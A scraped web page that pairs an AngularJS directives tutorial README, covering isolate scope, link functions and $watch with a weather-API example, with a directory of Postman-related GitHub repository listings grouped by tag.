Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
WebDevInfrastructure/MailingLists
development, general, import, interface, list, lists, maintained, single, standard, struct, structure, updating 		Mailing lists are an important part of the infrastructure of development of Web standards - generally PostMan is the standard, but it is maintained by a single individual and the interface/features could use some updating. 3 stars 3 watchers 1 forks
flascelles/synthetic-API-traffic-generation
collection, collections, general, generate, generation, model, models, postman collection, postman collections, script, scripts, traffic, training 		scripts and postman collections to generate synthetic api traffic for training ML models and general purposes 0 stars 0 watchers 0 forks
SudharshanShanmugasundaram/Blockchain
chai, general 		Implementation of a general purpose Blockchain 0 stars 0 watchers 0 forks
AdrienneBeaudry/wieg16-curl
curl, data, general 		Learning curl, postman and general data manipulation 0 stars 0 watchers 0 forks
atembamanu/news-app
application, general, news, test, tester, user, users 		An application that allows one to add more users, add departments, add users to those departments, create news for the departments as well as create general news. The front-end is presented using Postman API tester application. 0 stars 0 watchers 0 forks
aymenfurter/ubuntu-dev-vagrant
development, general, grant, install, installed, integration, ubuntu 		Ubuntu Dev Station with preinstalled Postman, SOAPUI, VSCode, Eclipse, Maven, JDK 8 / 11, plantUML, i3 for integration and general purpose development work. 0 stars 0 watchers 0 forks
bakersen/iReporter2
account, application, auth, bridge, countries, development, display, email, enable, enables, event, form, general, github, image, images, link, local, location, mail, notification, play, public, report, script, section, solution, solutions, stat, status, support, things, user, video 		iReporter enables any/every citizen to bring any form of corruption to the notice of appropriate authorities and the general public. Users can also report on things that needs government intervention. Corruption is a huge bane to Africa’s development. African countries must develop novel and localised solutions that will curb this menace, hence the birth of iReporter. ### Features 1. Users can create an account and log in. 2. Users can create a red-flag record (An incident linked to corruption). 3. Users can create intervention record (a call for a government agency to intervene e.g repair bad road sections, collapsed bridges, flooding e.t.c). 4. Users can edit their red-flag or intervention records. 5. Users can delete their red-flag or intervention records. 6. Users can add geolocation (Lat Long Coordinates) to their red-flag or intervention records . 7. Users can change the geolocation (Lat Long Coordinates) attached to their red-flag or intervention records . 8. Admin can change the status of a record to either under investigation, rejected (in the event of a false claim) or resolved (in the event that the claim has been investigated and resolved) . Optional Features 1. Users can add images to their red-flag or intervention records, to support their claims. 2. Users can add videos to their red-flag or intervention records, to support their claims. 3. The application should display a Google Map with Marker showing the red-flag or intervention location. 4. The user gets real-time email notification when Admin changes the status of their record. 5. The user gets real-time SMS notification when Admin changes the status of their record. ## Built With * HTML, CSS, Javascript * Python, Flask APIs * Postgres SQL ## Tools Used * Pivotal Tracker * github * Postman * Heroku ## Version v1.0 ## Authors * **Baker Sentamu** ## iReporter Demo UI Link ## Acknowledgments * Andela Learning Facilitators 0 stars 0 watchers 0 forks
halflkaka/Chinese-Postman
general 		A general algorithm for Chinese Postman Problem 0 stars 0 watchers 0 forks
Marqueb82/REST-employeeApp
employee, general, move, service, spec, spring, test, tested, user 		RESTful web service created using spring and tested with Postman. Uses general get and post requests for mapping and service will allow user to add, remove, view all and view specific employess based upon their ID. 0 stars 0 watchers 0 forks
renzopereztan/GDRPDD
general, problem, solution 		A decision-diagram-based solution to the generalized directed rural postman problem 0 stars 0 watchers 0 forks

tokens (10 listings) (Back to Top)

jongio/azure-sas-tokens-postman
azure, description, script, token, tokens 		No description available. 14 stars 14 watchers 6 forks
api-evangelist/environments
environment, environments, generating, list, rating, token, tokens 		This is a project for generating tokens and Postman environments. 1 stars 1 watchers 0 forks
kpraneeth3456/JWT-Authentication
account, application, client, data, database, dependencies, download, email, error, exchange, header, index, install, link, mail, match, matched, message, node, party, register, rest, running, script, security, send, sends, server, to do, token, tokens, user 		Project Title: JWT Authentication Description: This project is a basic Authorization and Authentication which exchanges JSON web tokens between the client and the server for more security. Execution: -Clone or download the repo from the GitHub link -npm install (to download the dependencies) -node index.js (To get the application running) Working: -User has to enter his email and password to register his account.(Use any third-party rest-client like Postman on port 3000) -If the email already exists in the database it sends an error message and if the email does not exist it saves to the database. -If the user is signed up then he can go ahead and Sign-in with same username and password. -If the credentials are matched then a JSON web token will be sent to the client in the header. -If the username and password do not match then it sends back an error message. 1 stars 1 watchers 0 forks
lauradelpino24/SpotiApp
angular, generar, spotify, token, tokens 		App que usa angular y la api de spotify. Los tokens son necesario regenerarlos cada hora (para ello uso Postman). 1 stars 1 watchers 0 forks
shelleypham/GE-Current-Hackathon-API-Tutorial
access, details, document, documentation, environment, hackathon, resource, resources, retrieve, source, token, tokens 		This documentation provides more details on how to set up the hackathon environment on Postman, retrieve Intelligent Cities and Intelligent Enterprises access tokens, and how to use those access token to retrieve resources 1 stars 1 watchers 0 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
jjian4/Task-Manager-API
account, auth, authentication, task, tasks, test, testing, token, tokens, user, users 		Create, read, update, delete users and tasks. Uses web tokens for account authentication. Built using Node.js, Express.js, and MongoDB/Mongoose. Used Postman for testing. 0 stars 0 watchers 0 forks
ahmedsaoudi85/Airbnb-Style-App-with-react-redux-express-and-mongodb
application, express, form, mongo, mongod, mongodb, react, redux, token, tokens 		full stack application using Node.js, Express, React, Redux, Redux form, MongoDb, Amazon S3, Stripe,JWT tokens, Postman, ES6 0 stars 0 watchers 0 forks
aisabel/Postman-pinterestExamples
access, account, dashboard, rest, rest api, spec, token, tokens 		This repository is just to access pinterest api and create dashboards in a specific account using tokens. 0 stars 0 watchers 0 forks
sa-webb/firebase-tokens-util
firebase, token, tokens, util 		Basic Firebase Tokens API for Postman 0 stars 0 watchers 0 forks

builder (10 listings) (Back to Top)

liyasthomas/postwoman
alternative, builder, free, http, https, native, postwoman 		👽 A free, fast and beautiful API request builder (web alternative to Postman) https://postwoman.io 18028 stars 18028 watchers 1105 forks
yojji-io/metaman
alternative, builder, included, meta, native, workspace 		Postman alternative request builder (workspaces included) 2 stars 2 watchers 1 forks
fazulk/postman_builder
automat, automatic, automatically, builder, express, route, routes 		Generate postman routes automatically based upon express or koa routes 1 stars 1 watchers 0 forks
payhubbuilder/payhub-postman_tests
builder, collection, collections, payhub, test, tests 		Various Postman test collections for PayHub APIs. 0 stars 0 watchers 1 forks
benvandenberg/builder-newman
builder, form, newman, platform 		A Builder Image used in the Jenkins X platform to run Postman Collections with Newman 0 stars 0 watchers 0 forks
davepile/postman-collection-builder
builder, collection, collections 		Build Postman collections from JS 0 stars 0 watchers 0 forks
imjonathanking/knex_testing
builder, express, knex, query, test, tested, testing 		I am testing out building an express API using Knex as a SQL query builder/ ORM. Routes will be tested in Postman. 0 stars 0 watchers 0 forks
LondonComputadores/gostack-node-express-api-crud
builder, crud, express, node, test, tester, testing 		First part of GoStack Course from Rocketseat where we built a Nodejs + Expressjs API CRUD for testing with Insomnia API builder/tester like Postman. 0 stars 0 watchers 0 forks
api-evangelist/salesforce-api-collection-builder
builder, collection, dynamic, dynamically, list, salesforce 		This is a Postman collection for dynamically building a Postman collection. 0 stars 0 watchers 0 forks
mathcoder23/apibuilder
builder, free, freemarker, java 		基于postman和freemarker 生成多语言的js java api接口库 0 stars 0 watchers 0 forks

language (10 listings) (Back to Top)

Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
spider1998/go-test
development, lang, language, test, testing, tool 		Interface testing tool for pure go language development (similar to postman) 1 stars 1 watchers 0 forks
glowcoil/Postman
lang, language, message, passing, program, programming 		A programming language based on message passing. 1 stars 1 watchers 0 forks
FourKites/Tracking-Locations-API
integrating, lang, language, program, programming, rating 		Tracking Locations API integrating with different programming languages. 0 stars 0 watchers 1 forks
Shekhar-Shashank/Complaint-Lodging
android, api blueprint, asyncapi, complaint, data, database, design, designed, dummy, flask, front end, generator, java, json schema, lang, language, oauth, openid, parse, python, rest, restful, server, sql, sqlite, studio, test, testing 		It is an android complaint lodging app in which the front end is designed in android studio using java language. The restful API that the app interacts with is made using python flask. The database used is sqlite. And the language used to parse the data from the server is Json. For testing the requests like get and post we used postman as a dummy request generator. 0 stars 0 watchers 0 forks
LarryKarani/IreporterReactJs
access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube 		# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI 0 stars 0 watchers 0 forks
mirannaalina/herbalDemo
data, database, framework, lang, language, library, system, tool 		Technologies used are Java language, Spring framework, Hibernate tool, MySql database management system, Workbench tool, Thymeleaf library, and Postman tool. 0 stars 0 watchers 0 forks
noblethrasher/Postman
lang, language, light, lightweight, setting, type, types 		A compiler for a lightweight typesetting language 0 stars 0 watchers 0 forks
skaler12/Postman-CRUD_Repo-Hibernate-More---Furniture_Warehouse-
application, branch, engine, frontend, future, lang, language, operation, skal 		Furniture Warehouse App. Application shows how i use Hibernate, Jpa, CRUD Repository, and Postam Api. DB H2 and MySql. Actually Api has not frontend, so it presents the operation of the application using the postman application. In the future i want to add new branch concering HQL language and thymeleaf engine ! 0 stars 0 watchers 0 forks
vartikayadav/using-django-rest-framework-to-make-languages-api-
django, django rest, fetcch, framework, lang, language, rest 		built api to fetcch languages using django rest framework and postman . 0 stars 0 watchers 0 forks

entity (10 listings) (Back to Top)

pingidentity/Postman-Calls
entity 		Sample Postman calls to Ping Identity APIs 0 stars 0 watchers 13 forks
jorgecotillo/aspnet_core_identity_server_4_postman
application, applications, aspnet, config, configuration, demonstrate, entity, server, test 		Sample applications that demonstrates the configuration of your WebApi and IdentityServer4 to test your API from Postman 0 stars 0 watchers 6 forks
cprice-ping/Postman-Personal
entity, move, moved, rest 		Collections I'm working on - those of interest to the broader Ping Identity audience will be moved over 1 stars 1 watchers 0 forks
cpvariyani/identityserver4-in-net-core-to-secure-public-microservice
client, demonstrate, entity, example, grant, integrate, integrated, microservice, microservices, package, packages, public, sample, secure, server, service, services, test, tested, type, video 		This is a practical example to demonstrate how to secure public microservices in .Net core using Identity server 4. In this video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. A practical example of How to create Identity server in .net core for grant type to client credentials. nuget packages for identity server are 2 IdentityServer4 and IdentityServer4.EntityFramework. and for microservice 1 nuget packages needs to be added Microsoft.AspNetCore.Authentication.JwtBearer 1 stars 1 watchers 0 forks
pingidentity/pingone-postman-template
entity, environment, form, template 		Postman environment template for PingOne Platform Environments. 0 stars 0 watchers 1 forks
awaisbub/Shircle
aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track 		It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. 0 stars 0 watchers 0 forks
chuckpaquette/SMGR-REST-SIP-Entities
data, entity, returned, struct, structure, visual, visualization 		Postman code for visualization of the data structure returned by SMGR SIP entity REST request 0 stars 0 watchers 0 forks
cpvariyani/identity-server-4-policy-based-authorization-.netcore
admin, auth, authorization, demonstrate, enable, enabled, entity, example, http, https, integrate, integrated, microservice, microservices, public, role, sample, secure, server, server., service, services, spec, test, tested, user, users, video, youtube 		Identity Server 4 Role-based Authorization in .Net Core 2 Microservice, In this video, we have enabled the role based authorization using the Identity server. we have created 2 users admin and user and created the respective policy in microservices. In part 1, we have seen how to secure the public microservice, in this part, we have demonstrated how we can implement role-based authorization in Identity server 4 and .Net core. Creation of Identity Server4 in .Net core to secure public microservices with a practical example is explained here. In the part 1 of video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. Part 1 Create Identity Server 4 in .net core to secure Public microservices https://www.youtube.com/watch?v=LVYEq... Part 2 Identity Server 4 Role Based Authorization in .Net Core 2 Microservice 0 stars 0 watchers 0 forks
daise18/ProjetoSpring
banco, boot, conceitos, controller, entity, java, json, rest, spring, spring boot, test, util, utilizando 		Projeto java com spring boot, spring jpa, utilizando conceitos de microsserviços/apis, banco de dados, json, anotação, repository, entity, rest controllers, testes manuais via postman., 0 stars 0 watchers 0 forks
zhihuiwang88/ssmgenerator03
